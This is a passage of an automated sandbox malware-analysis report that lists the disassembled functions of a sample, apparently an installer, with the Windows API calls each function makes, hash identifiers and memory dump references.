Instruction ID: 076564571966e4dc9ef4834731be4d502634ae0aeddccfca5b4533d1bab5a213
Opcode Fuzzy Hash: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction Fuzzy Hash: 14F09076601204FFEB009F59ED05E9BB7A8EB95750F10803AEE00F7250E6B49A548B68

Function 00402D44 Relevance: 6.1, APIs: 4, Instructions: 63
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402DA9
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DB2
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DD3

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: Close$Enum
String ID:
API String ID: 464197530-0
Opcode ID: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction ID: 3410daaf41eb2a8de7896e1fb7aa518538b3e031ab7f3cb45a1fbd23233d04dd
Opcode Fuzzy Hash: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction Fuzzy Hash: CE116A32500108FBDF12AB90CE09FEE7B7DAF44350F100076B905B61E0E7B59E21AB58

Function 0040591F Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,?,00000000), ref: 00405962
GetLastError.KERNEL32 ref: 00405976
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 0040598B
GetLastError.KERNEL32 ref: 00405995

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID:
API String ID: 3449924974-0
Opcode ID: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction ID: ca5323325ecea66cc3de0aafa4d6cbc44a00468c8660a14113972894dcb98988
Opcode Fuzzy Hash: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction Fuzzy Hash: 970108B1C10219DADF009FA5C944BEFBFB4EB14314F00403AE544B6290DB789608CFA9

Function 004053C4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 004053F3
CallWindowProcW.USER32(?,?,?,?), ref: 00405444

Part of subcall function 004043AB: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004043BD

Strings

, xrefs: 004053D4

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 36caebe1fe8aa1eff7ff321662443c514d6827d4f2801b7b393fcb4226acda68
Instruction ID: 343f6187318c33bb175646012d6cb398530476c6c15fe8dd96994d534b9a6b17
Opcode Fuzzy Hash: 36caebe1fe8aa1eff7ff321662443c514d6827d4f2801b7b393fcb4226acda68
Instruction Fuzzy Hash: CC0171B1200609ABDF305F11DD84B9B3666EBD4356F508037FA00761E1C77A8DD29A6E

Function 004062B6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000800,00000002,00422708,00000000,?,?,Call,?,?,0040652A,80000002), ref: 004062FC
RegCloseKey.ADVAPI32(?,?,0040652A,80000002,Software\Microsoft\Windows\CurrentVersion,Call,Call,Call,00000000,00422708), ref: 00406307

Strings

Call, xrefs: 004062BD

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: CloseQueryValue
String ID: Call
API String ID: 3356406503-1824292864
Opcode ID: c86c14991d827863ed80974af0b6eb11eee99485bcf286d774b2a77da772c934
Instruction ID: efe3e51cb47fe95fa6bbb83f3cb46ebf457b8c4b35673ac5825ceff03b23bf8b
Opcode Fuzzy Hash: c86c14991d827863ed80974af0b6eb11eee99485bcf286d774b2a77da772c934
Instruction Fuzzy Hash: B301717250020AEBDF218F55CD09EDB3FA9EF55354F114039FD15A2150E778D964CBA4

Function 00406F27 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction ID: 2bd06e12bed6e0bcd81d630d0cd78bd49004ac77cb8b5ebb757de7108a839e92
Opcode Fuzzy Hash: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction Fuzzy Hash: 1DA14471E04228CBDF28CFA8C8446ADBBB1FF44305F14806ED856BB281D7786A86DF45

Function 00407128 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction ID: f1da02a2f8b93330a3d469e31e6e9edf047fa596270f1f1d86c95cc791e20b04
Opcode Fuzzy Hash: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction Fuzzy Hash: AA910271E04228CBEF28CF98C8447ADBBB1FB45305F14816AD856BB291C778A986DF45

Function 00406E3E Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction ID: fb1d02f26201205f5bfcbd3029eb7cfad7cca69a3f8c46de7b35964bdd0c3f7d
Opcode Fuzzy Hash: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction Fuzzy Hash: 18814571E04228DFDF24CFA8C844BADBBB1FB45305F24816AD856BB291C7389986DF45

Function 00406D91 Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction ID: 7645ab34ef40ba223d211dbe726f8302725d3f31b3e808d93cc70016d3e0d248
Opcode Fuzzy Hash: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction Fuzzy Hash: 10711471E04228DBDF24CF98C8447ADBBB1FF49305F15806AD856BB281C7389A86DF45

Function 00406EAF Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
Instruction ID: a4e19b7408f2815589132e7e2b866ae2b9c8caa40868d81b8a4623295251dea3
Opcode Fuzzy Hash: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
Instruction Fuzzy Hash: 0D712571E04218DBEF28CF98C844BADBBB1FF45305F15806AD856BB281C7389986DF45

Function 00406DFB Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction ID: 979076adb26e5f1e3e7a9458f232081f51f9a0722543042d1d726f4d31452a21
Opcode Fuzzy Hash: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction Fuzzy Hash: 50714871E04228DBEF28CF98C8447ADBBB1FF45305F15806AD856BB281C7386A46DF45

Function 00402032 Relevance: 4.6, APIs: 3, Instructions: 73libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,?), ref: 0040205D

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

LoadLibraryExW.KERNEL32(00000000,?,?,00000001,?), ref: 0040206E
FreeLibrary.KERNELBASE(?,?,000000F7,?,?,?,00000001,?), ref: 004020EB

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: c0091ceae9cfbdad611b36e7acbab474ec2c1bafca6550aebcba3b122e164ceb
Instruction ID: 38390b8595ebf5dc4f6cf14c4d4b7ed92d06cc21542818b97b262269bef072d5
Opcode Fuzzy Hash: c0091ceae9cfbdad611b36e7acbab474ec2c1bafca6550aebcba3b122e164ceb
Instruction Fuzzy Hash: DC218331D00215BACF20AFA5CE4D99E7A70BF04358F60413BF511B51E0DBBD8991DA6E

Function 004024F8 Relevance: 4.5, APIs: 3, Instructions: 47registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 0040252B
RegEnumValueW.ADVAPI32(00000000,00000000,?,?), ref: 0040253E
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsqC9EA.tmp,00000000,00000011,00000002), ref: 00402557

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: Enum$CloseValue
String ID:
API String ID: 397863658-0
Opcode ID: 962e8dbebea2d0e856bbe812d5e95e45bdf7d67f5620c7d5b12d357826d7025c
Instruction ID: 69a0bd767b5398a5b54c194fc83da7942780fa4e63ecbf8b5358c30743fc2944
Opcode Fuzzy Hash: 962e8dbebea2d0e856bbe812d5e95e45bdf7d67f5620c7d5b12d357826d7025c
Instruction Fuzzy Hash: 4B017171904204ABEB149F95DE88ABF7AB8EF80348F10403EF505B61D0DAB85E419B69

Function 004031D6 Relevance: 3.1, APIs: 2, Instructions: 88COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,?,?,00403182,000000FF,00000000,00000000,0040A230,?), ref: 004031FB

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 09b1e881bc629fe9623964bcd0dac9c3534a319fde10b4dd95dd132c0a2dd849
Instruction ID: f938e70baf20f89fc7421c1cbc4d65c8cbb1a4a40291e2e844035b0cdbff1196
Opcode Fuzzy Hash: 09b1e881bc629fe9623964bcd0dac9c3534a319fde10b4dd95dd132c0a2dd849
Instruction Fuzzy Hash: 53314B30200219BBDB109F95ED84ADA3E68EB04759F20857EF905E62D0D6789A509BA9

Function 004015C1 Relevance: 3.1, APIs: 2, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00405D68: CharNextW.USER32(?,?,00425F30,?,00405DDC,00425F30,00425F30,?,?,75572EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,75572EE0,00000000), ref: 00405D76
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D7B
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D93

GetFileAttributesW.KERNELBASE(?,?,00000000,?,00000000,?), ref: 0040161A

Part of subcall function 0040591F: CreateDirectoryW.KERNELBASE(?,?,00000000), ref: 00405962

SetCurrentDirectoryW.KERNELBASE(?,00436000,?,00000000,?), ref: 0040164D

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID:
API String ID: 1892508949-0
Opcode ID: c670449cb20163be3cb3cb34affd8c81282aa0e3ca4a40f31796d9e50139b1da
Instruction ID: 0139da5d792eeb989572d84d187c25f91b4f70b2bd1842bf542401118de2a59f
Opcode Fuzzy Hash: c670449cb20163be3cb3cb34affd8c81282aa0e3ca4a40f31796d9e50139b1da
Instruction Fuzzy Hash: 0511E631504511EBCF30AFA4CD4159F36A0EF15329B29453BFA45B22F1DB3E49419B5D

Function 00402484 Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(00000000,00000000,?,?,?,?), ref: 004024B5
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nsqC9EA.tmp,00000000,00000011,00000002), ref: 00402557

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: CloseQueryValue
String ID:
API String ID: 3356406503-0
Opcode ID: 63b64fe82c2f511c8169af5ec8c0190f19a921c94039209ad64b866aaad41420
Instruction ID: 8b4d26b48c61f4aea5aea8b01f6eaa690eaa4425e6198d6413393360261ed691
Opcode Fuzzy Hash: 63b64fe82c2f511c8169af5ec8c0190f19a921c94039209ad64b866aaad41420
Instruction Fuzzy Hash: 61119431910205EBDB14DF64CA585AE7BB4EF44348F20843FE445B72D0D6B85A81EB5A

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(00000402,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 23ed1533968369fb0e08a97211bc38e5ec6adcca8744e4a1682e6817b2d67833
Instruction ID: 4945fb4554c9d48a14a82d28c5fc4c127f2c3d85d8aa5c2a63fae023cf5e702c
Opcode Fuzzy Hash: 23ed1533968369fb0e08a97211bc38e5ec6adcca8744e4a1682e6817b2d67833
Instruction Fuzzy Hash: AB01F431724210EBEB199B789D04B2A3698E710714F104A7FF855F62F1DA78CC529B5D

Function 0040238E Relevance: 3.0, APIs: 2, Instructions: 39registryCOMMON

Download Yara Rule

APIs

RegDeleteValueW.ADVAPI32(00000000,00000000,00000033), ref: 004023B0
RegCloseKey.ADVAPI32(00000000), ref: 004023B9

Memory Dump Source

Source File: 00000000.00000002.2174645251.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2174625003.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174672849.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174698638.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2174810211.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: CloseDeleteValue
String ID:
API String ID: 2831762973-0
